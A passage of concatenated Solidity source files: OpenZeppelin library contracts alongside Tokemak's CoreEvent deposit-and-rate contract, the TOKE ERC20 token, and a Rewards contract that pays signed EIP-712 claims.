/// @notice Current Max Total Value function getMaxTotalValue() external view returns (uint256 value); /// @notice returns the address of the treasury, when users claim this is where funds that are <= maxClaimableValue go /// @return treasuryAddress address of the treasury function treasury() external returns (address treasuryAddress); /// @notice the total supply held for a given token /// @param token the token to get the supply for /// @return amount the total supply for a given token function totalSupply(address token) external returns (uint256 amount); /// @notice withdraws tokens from the round contract. only callable when round 2 starts /// @param tokenData an array of token structs /// @param asEth flag to determine if provided WETH, that it should be withdrawn as ETH function withdraw(TokenData calldata tokenData, bool asEth) external; // /// @notice adds tokens to support // /// @param tokensToSupport an array of supported token structs function addSupportedTokens(SupportedTokenData[] calldata tokensToSupport) external; // /// @notice returns which tokens can be deposited // /// @return tokens tokens that are supported for deposit function getSupportedTokens() external view returns (address[] calldata tokens); /// @notice the oracle that will be used to denote how much the amounts deposited are worth in USD /// @param tokens an array of tokens /// @return oracleAddresses the an array of oracles corresponding to supported tokens function getTokenOracles(address[] calldata tokens) external view returns (address[] calldata oracleAddresses); /// @notice publishes rates for the tokens. Rates are always relative to 1 TOKE. Can only be called once within Stage 1 // prices can be published at any time /// @param ratesData an array of rate info structs function publishRates( RateData[] calldata ratesData, OversubscriptionRate memory overSubRate, uint256 lastLookDuration ) external; /// @notice return the published rates for the tokens /// @param tokens an array of tokens to get rates for /// @return rates an array of rates for the provided tokens function getRates(address[] calldata tokens) external view returns (RateData[] calldata rates); /// @notice determines the account value in USD amongst all the assets the user is invovled in /// @param account the account to look up /// @return value the value of the account in USD function accountBalance(address account) external view returns (uint256 value); /// @notice Moves excess assets to private farming or refunds them /// @dev uses the publishedRates, selected tokens, and amounts to determine what amount of TOKE is claimed /// @param depositToGenesis applies only if oversubscribedMultiplier < 1; /// when true oversubscribed amount will deposit to genesis, else oversubscribed amount is sent back to user function finalizeAssets(bool depositToGenesis) external; //// @notice returns what gensis pool a supported token is mapped to /// @param tokens array of addresses of supported tokens /// @return genesisAddresses array of genesis pools corresponding to supported tokens function getGenesisPools(address[] calldata tokens) external view returns (address[] memory genesisAddresses); /// @notice returns a list of AccountData for a provided account /// @param account the address of the account /// @return data an array of AccountData denoting what the status is for each of the tokens deposited (if any) function getAccountData(address account) external view returns (AccountDataDetails[] calldata data); /// @notice Allows the owner to transfer all swapped assets to the treasury /// @dev only callable by owner and if last look period is complete function transferToTreasury() external; /// @notice Given a balance, calculates how the the amount will be allocated between TOKE and Farming /// @dev Only allowed at stage 3 /// @param balance balance to divy up /// @param token token to pull the rates for function getRateAdjustedAmounts(uint256 balance, address token) external view returns ( uint256, uint256, uint256 ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "../interfaces/ICoreEvent.sol"; import "../interfaces/ILiquidityPool.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/cryptography/MerkleProof.sol"; contract CoreEvent is Ownable, ICoreEvent { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; DurationInfo public durationInfo; address public immutable treasuryAddress; EnumerableSet.AddressSet private supportedTokenAddresses; // token address -> SupportedTokenData mapping(address => SupportedTokenData) public supportedTokens; // user -> token -> AccountData mapping(address => mapping(address => AccountData)) public accountData; mapping(address => RateData) public tokenRates; WhitelistSettings public whitelistSettings; bool public stage1Locked; modifier hasEnded() { require(_hasEnded(), "TOO_EARLY"); _; } constructor( address treasury, SupportedTokenData[] memory tokensToSupport ) public { treasuryAddress = treasury; addSupportedTokens(tokensToSupport); } function configureWhitelist(WhitelistSettings memory settings) external override onlyOwner { whitelistSettings = settings; emit WhitelistConfigured(settings); } function setDuration(uint256 _blockDuration) external override onlyOwner { require(durationInfo.startingBlock == 0, "ALREADY_STARTED"); durationInfo.startingBlock = block.number; durationInfo.blockDuration = _blockDuration; emit DurationSet(durationInfo); } function addSupportedTokens(SupportedTokenData[] memory tokensToSupport) public override onlyOwner { require (tokensToSupport.length > 0, "NO_TOKENS"); for (uint256 i = 0; i < tokensToSupport.length; i++) { require( !supportedTokenAddresses.contains(tokensToSupport[i].token), "DUPLICATE_TOKEN" ); require(tokensToSupport[i].token != address(0), "ZERO_ADDRESS"); require(!tokensToSupport[i].systemFinalized, "FINALIZED_MUST_BE_FALSE"); supportedTokenAddresses.add(tokensToSupport[i].token); supportedTokens[tokensToSupport[i].token] = tokensToSupport[i]; } emit SupportedTokensAdded(tokensToSupport); } function deposit(TokenData[] calldata tokenData, bytes32[] calldata proof) external override { require(durationInfo.startingBlock > 0, "NOT_STARTED"); require(!_hasEnded(), "RATES_LOCKED"); require(tokenData.length > 0, "NO_TOKENS"); if (whitelistSettings.enabled) { require(verifyDepositor(msg.sender, whitelistSettings.root, proof), "PROOF_INVALID"); } for (uint256 i = 0; i < tokenData.length; i++) { uint256 amount = tokenData[i].amount; require(amount > 0, "0_BALANCE"); address token = tokenData[i].token; require(supportedTokenAddresses.contains(token), "NOT_SUPPORTED"); IERC20 erc20Token = IERC20(token); AccountData storage data = accountData[msg.sender][token]; require( data.depositedBalance.add(amount) <= supportedTokens[token].maxUserLimit, "OVER_LIMIT" ); data.depositedBalance = data.depositedBalance.add(amount); data.token = token; erc20Token.safeTransferFrom(msg.sender, address(this), amount); } emit Deposited(msg.sender, tokenData); } function withdraw(TokenData[] calldata tokenData) external override { require(!_hasEnded(), "RATES_LOCKED"); require(tokenData.length > 0, "NO_TOKENS"); for (uint256 i = 0; i < tokenData.length; i++) { uint256 amount = tokenData[i].amount; require(amount > 0, "ZERO_BALANCE"); address token = tokenData[i].token; IERC20 erc20Token = IERC20(token); AccountData storage data = accountData[msg.sender][token]; require(data.token != address(0), "ZERO_ADDRESS"); require(amount <= data.depositedBalance, "INSUFFICIENT_FUNDS"); data.depositedBalance = data.depositedBalance.sub(amount); if (data.depositedBalance == 0) { delete accountData[msg.sender][token]; } erc20Token.safeTransfer(msg.sender, amount); } emit Withdrawn(msg.sender, tokenData); } function increaseDuration(uint256 _blockDuration) external override onlyOwner { require(durationInfo.startingBlock > 0, "NOT_STARTED"); require(_blockDuration > durationInfo.blockDuration, "INCREASE_ONLY"); require(!stage1Locked, "STAGE1_LOCKED"); durationInfo.blockDuration = _blockDuration; emit DurationIncreased(durationInfo); } function setRates(RateData[] calldata rates) external override onlyOwner hasEnded { //Rates are settable multiple times, but only until they are finalized. //They are set to finalized by either performing the transferToTreasury //Or, by marking them as no-swap tokens //Users cannot begin their next set of actions before a token finalized. uint256 length = rates.length; for (uint256 i = 0; i < length; i++) { RateData memory data = rates[i]; require(supportedTokenAddresses.contains(data.token), "UNSUPPORTED_ADDRESS"); require(!supportedTokens[data.token].systemFinalized, "ALREADY_FINALIZED"); if (data.tokeNumerator > 0) { //We are allowing an address(0) pool, it means it was a winning reactor //but there wasn't enough to enable private farming require(data.tokeDenominator > 0, "INVALID_TOKE_DENOMINATOR"); require(data.overNumerator > 0, "INVALID_OVER_NUMERATOR"); require(data.overDenominator > 0, "INVALID_OVER_DENOMINATOR"); tokenRates[data.token] = data; } else { delete tokenRates[data.token]; } } stage1Locked = true; emit RatesPublished(rates); } function transferToTreasury(address[] calldata tokens) external override onlyOwner hasEnded { uint256 length = tokens.length; TokenData[] memory transfers = new TokenData[](length); for (uint256 i = 0; i < length; i++) { address token = tokens[i]; require(tokenRates[token].tokeNumerator > 0, "NO_SWAP_TOKEN"); require(!supportedTokens[token].systemFinalized, "ALREADY_FINALIZED"); uint256 balance = IERC20(token).balanceOf(address(this)); (uint256 effective, , ) = getRateAdjustedAmounts(balance, token); transfers[i].token = token; transfers[i].amount = effective; supportedTokens[token].systemFinalized = true; IERC20(token).safeTransfer(treasuryAddress, effective); } emit TreasuryTransfer(transfers); } function setNoSwap(address[] calldata tokens) external override onlyOwner hasEnded { uint256 length = tokens.length; for (uint256 i = 0; i < length; i++) { address token = tokens[i]; require(supportedTokenAddresses.contains(token), "UNSUPPORTED_ADDRESS"); require(tokenRates[token].tokeNumerator == 0, "ALREADY_SET_TO_SWAP"); require(!supportedTokens[token].systemFinalized, "ALREADY_FINALIZED"); supportedTokens[token].systemFinalized = true; } stage1Locked = true; emit SetNoSwap(tokens); } function finalize(TokenFarming[] calldata tokens) external override hasEnded { require(tokens.length > 0, "NO_TOKENS"); uint256 length = tokens.length; FinalizedAccountData[] memory results = new FinalizedAccountData[](length); for(uint256 i = 0; i < length; i++) { TokenFarming calldata farm = tokens[i]; AccountData storage account = accountData[msg.sender][farm.token]; require(!account.finalized, "ALREADY_FINALIZED"); require(farm.token != address(0), "ZERO_ADDRESS"); require(supportedTokens[farm.token].systemFinalized, "NOT_SYSTEM_FINALIZED"); require(account.depositedBalance > 0, "INSUFFICIENT_FUNDS"); RateData storage rate = tokenRates[farm.token]; uint256 amtToTransfer = 0; if (rate.tokeNumerator > 0) { //We have set a rate, which means its a winning reactor //which means only the ineffective amount, the amount //not spent on TOKE, can leave the contract. //Leaving to either the farm or back to the user //In the event there is no farming, an oversubscription rate of 1/1 //will be provided for the token. That will ensure the ineffective //amount is 0 and caught by the below require() as only assets with //an oversubscription can be moved (, uint256 ineffectiveAmt, ) = getRateAdjustedAmounts(account.depositedBalance, farm.token); amtToTransfer = ineffectiveAmt; } else { amtToTransfer = account.depositedBalance; } require(amtToTransfer > 0, "NOTHING_TO_MOVE"); account.finalized = true; if (farm.sendToFarming) { require(rate.pool != address(0), "NO_FARMING"); uint256 currentAllowance = IERC20(farm.token).allowance(address(this), rate.pool); if (currentAllowance < amtToTransfer) { IERC20(farm.token).safeIncreaseAllowance(rate.pool, amtToTransfer.sub(currentAllowance)); } ILiquidityPool(rate.pool).depositFor(msg.sender, amtToTransfer); results[i] = FinalizedAccountData({ token: farm.token, transferredToFarm: amtToTransfer, refunded: 0 }); } else { IERC20(farm.token).safeTransfer(msg.sender, amtToTransfer); results[i] = FinalizedAccountData({ token: farm.token, transferredToFarm: 0, refunded: amtToTransfer }); } } emit AssetsFinalized(msg.sender, results); } function getRateAdjustedAmounts(uint256 balance, address token) public override view returns (uint256 effectiveAmt, uint256 ineffectiveAmt, uint256 actualReceived) { RateData memory rateInfo = tokenRates[token]; uint256 effectiveTokenBalance = balance.mul(rateInfo.overNumerator).div(rateInfo.overDenominator); uint256 ineffectiveTokenBalance = balance.mul(rateInfo.overDenominator.sub(rateInfo.overNumerator)) .div(rateInfo.overDenominator); uint256 actual = effectiveTokenBalance.mul(rateInfo.tokeDenominator).div(rateInfo.tokeNumerator); return (effectiveTokenBalance, ineffectiveTokenBalance, actual); } function getRates() external override view returns (RateData[] memory rates) { uint256 length = supportedTokenAddresses.length(); rates = new RateData[](length); for (uint256 i = 0; i < length; i++) { address token = supportedTokenAddresses.at(i); rates[i] = tokenRates[token]; } } function getAccountData(address account) external view override returns (AccountData[] memory data) { uint256 length = supportedTokenAddresses.length(); data = new AccountData[](length); for(uint256 i = 0; i < length; i++) { address token = supportedTokenAddresses.at(i); data[i] = accountData[account][token]; data[i].token = token; } } function getSupportedTokens() external view override returns (SupportedTokenData[] memory supportedTokensArray) { uint256 supportedTokensLength = supportedTokenAddresses.length(); supportedTokensArray = new SupportedTokenData[](supportedTokensLength); for (uint256 i = 0; i < supportedTokensLength; i++) { supportedTokensArray[i] = supportedTokens[supportedTokenAddresses.at(i)]; } return supportedTokensArray; } function _hasEnded() private view returns (bool) { return durationInfo.startingBlock > 0 && block.number >= durationInfo.blockDuration + durationInfo.startingBlock; } function verifyDepositor(address participant, bytes32 root, bytes32[] memory proof) internal pure returns (bool) { bytes32 leaf = keccak256((abi.encodePacked((participant)))); return MerkleProof.verify(proof, root, leaf); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; interface ICoreEvent { struct SupportedTokenData { address token; uint256 maxUserLimit; bool systemFinalized; // Whether or not the system is done setting rates, doing transfers, for this token } struct DurationInfo { uint256 startingBlock; uint256 blockDuration; // Block duration of the deposit/withdraw stage } struct RateData { address token; uint256 tokeNumerator; uint256 tokeDenominator; uint256 overNumerator; uint256 overDenominator; address pool; } struct TokenData { address token; uint256 amount; } struct AccountData { address token; // Address of the allowed token deposited uint256 depositedBalance; bool finalized; // Has the user either taken their refund or sent to farming. Will not be set on swapped but undersubscribed tokens. } struct FinalizedAccountData { address token; uint256 transferredToFarm; uint256 refunded; } struct TokenFarming { address token; // address of the allowed token deposited bool sendToFarming; // Refund is default } struct WhitelistSettings { bool enabled; bytes32 root; } event SupportedTokensAdded(SupportedTokenData[] tokenData); event TreasurySet(address treasury); event DurationSet(DurationInfo duration); event DurationIncreased(DurationInfo duration); event Deposited(address depositor, TokenData[] tokenInfo); event Withdrawn(address withdrawer, TokenData[] tokenInfo); event RatesPublished(RateData[] ratesData); event AssetsFinalized(address user, FinalizedAccountData[] data); event TreasuryTransfer(TokenData[] tokens); event WhitelistConfigured(WhitelistSettings settings); event SetNoSwap(address[] tokens); //========================================== // Initial setup operations //========================================== /// @notice Enable or disable the whitelist /// @param settings The root to use and whether to check the whitelist at all function configureWhitelist(WhitelistSettings memory settings) external; /// @notice defines the length in blocks the round will run for /// @notice round is started via this call and it is only callable one time /// @param blockDuration Duration in blocks the deposit/withdraw portion will run for function setDuration(uint256 blockDuration) external; /// @notice adds tokens to support /// @param tokensToSupport an array of supported token structs function addSupportedTokens(SupportedTokenData[] memory tokensToSupport) external; //========================================== // Stage 1 timeframe operations //========================================== /// @notice deposits tokens into the round contract /// @param tokenData an array of token structs /// @param proof Merkle proof for the user. Only required if whitelistSettings.enabled function deposit(TokenData[] calldata tokenData, bytes32[] calldata proof) external; /// @notice withdraws tokens from the round contract /// @param tokenData an array of token structs function withdraw(TokenData[] calldata tokenData) external; /// @notice extends the deposit/withdraw stage /// @notice Only extendable if no tokens have been finalized and no rates set /// @param blockDuration Duration in blocks the deposit/withdraw portion will run for. Must be greater than original function increaseDuration(uint256 blockDuration) external; //========================================== // Stage 1 -> 2 transition operations //========================================== /// @notice once the expected duration has passed, publish the Toke and over subscription rates /// @notice tokens which do not have a published rate will have their users forced to withdraw all funds /// @dev pass a tokeNumerator of 0 to delete a set rate /// @dev Cannot be called for a token once transferToTreasury/setNoSwap has been called for that token function setRates(RateData[] calldata rates) external; /// @notice Allows the owner to transfer the effective balance of a token based on the set rate to the treasury /// @dev only callable by owner and if rates have been set /// @dev is only callable one time for a token function transferToTreasury(address[] calldata tokens) external; /// @notice Marks a token as finalized but not swapping /// @dev complement to transferToTreasury which is for tokens that will be swapped, this one for ones that won't function setNoSwap(address[] calldata tokens) external; //========================================== // Stage 2 operations //========================================== /// @notice Once rates have been published, and the token finalized via transferToTreasury/setNoSwap, either refunds or sends to private farming /// @param tokens an array of tokens and whether to send them to private farming. False on farming will send back to user. function finalize(TokenFarming[] calldata tokens) external; //========================================== // View operations //========================================== /// @notice Breaks down the balance according to the published rates /// @dev only callable after rates have been set function getRateAdjustedAmounts(uint256 balance, address token) external view returns (uint256 effectiveAmt, uint256 ineffectiveAmt, uint256 actualReceived); /// @notice return the published rates for the tokens /// @return rates an array of rates for the provided tokens function getRates() external view returns (RateData[] memory rates); /// @notice returns a list of AccountData for a provided account /// @param account the address of the account /// @return data an array of AccountData denoting what the status is for each of the tokens deposited (if any) function getAccountData(address account) external view returns (AccountData[] calldata data); /// @notice get all tokens currently supported by the contract /// @return supportedTokensArray an array of supported token structs function getSupportedTokens() external view returns (SupportedTokenData[] memory supportedTokensArray); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC20.sol"; import "../../utils/Pausable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract Toke is ERC20Pausable, Ownable { uint256 private constant SUPPLY = 100_000_000e18; constructor() public ERC20("Tokemak", "TOKE") { _mint(msg.sender, SUPPLY); // 100M } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract Rewards is Ownable { using SafeMath for uint256; using ECDSA for bytes32; using SafeERC20 for IERC20; mapping(address => uint256) public claimedAmounts; event SignerSet(address newSigner); event Claimed(uint256 cycle, address recipient, uint256 amount); struct EIP712Domain { string name; string version; uint256 chainId; address verifyingContract; } struct Recipient { uint256 chainId; uint256 cycle; address wallet; uint256 amount; } bytes32 private constant EIP712_DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); bytes32 private constant RECIPIENT_TYPEHASH = keccak256("Recipient(uint256 chainId,uint256 cycle,address wallet,uint256 amount)"); bytes32 private immutable domainSeparator; IERC20 public immutable tokeToken; address public rewardsSigner; constructor(IERC20 token, address signerAddress) public { require(address(token) != address(0), "Invalid TOKE Address"); require(signerAddress != address(0), "Invalid Signer Address"); tokeToken = token; rewardsSigner = signerAddress; domainSeparator = _hashDomain( EIP712Domain({ name: "TOKE Distribution", version: "1", chainId: _getChainID(), verifyingContract: address(this) }) ); } function _hashDomain(EIP712Domain memory eip712Domain) private pure returns (bytes32) { return keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(eip712Domain.name)), keccak256(bytes(eip712Domain.version)), eip712Domain.chainId, eip712Domain.verifyingContract ) ); } function _hashRecipient(Recipient memory recipient) private pure returns (bytes32) { return keccak256( abi.encode( RECIPIENT_TYPEHASH, recipient.chainId, recipient.cycle, recipient.wallet, recipient.amount ) ); } function _hash(Recipient memory recipient) private view returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, _hashRecipient(recipient))); } function _getChainID() private pure returns (uint256) { uint256 id; // solhint-disable-next-line no-inline-assembly assembly { id := chainid() } return id; } function setSigner(address newSigner) external onlyOwner { require(newSigner != address(0), "Invalid Signer Address"); rewardsSigner = newSigner; } function getClaimableAmount( Recipient calldata recipient ) external view returns (uint256) { return recipient.amount.sub(claimedAmounts[recipient.wallet]); } function claim( Recipient calldata recipient, uint8 v, bytes32 r, bytes32 s // bytes calldata signature ) external { address signatureSigner = _hash(recipient).recover(v, r, s); require(signatureSigner == rewardsSigner, "Invalid Signature"); require(recipient.chainId == _getChainID(), "Invalid chainId"); require(recipient.wallet == msg.sender, "Sender wallet Mismatch"); uint256 claimableAmount = recipient.amount.sub(claimedAmounts[recipient.wallet]); require(claimableAmount > 0, "Invalid claimable amount"); require(tokeToken.balanceOf(address(this)) >= claimableAmount, "Insufficient Funds"); claimedAmounts[recipient.wallet] = claimedAmounts[recipient.wallet].add(claimableAmount); tokeToken.safeTransfer(recipient.wallet, claimableAmount); emit Claimed(recipient.cycle, recipient.wallet, claimableAmount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "@openzeppelin/contracts/access/Ownable.sol"; import 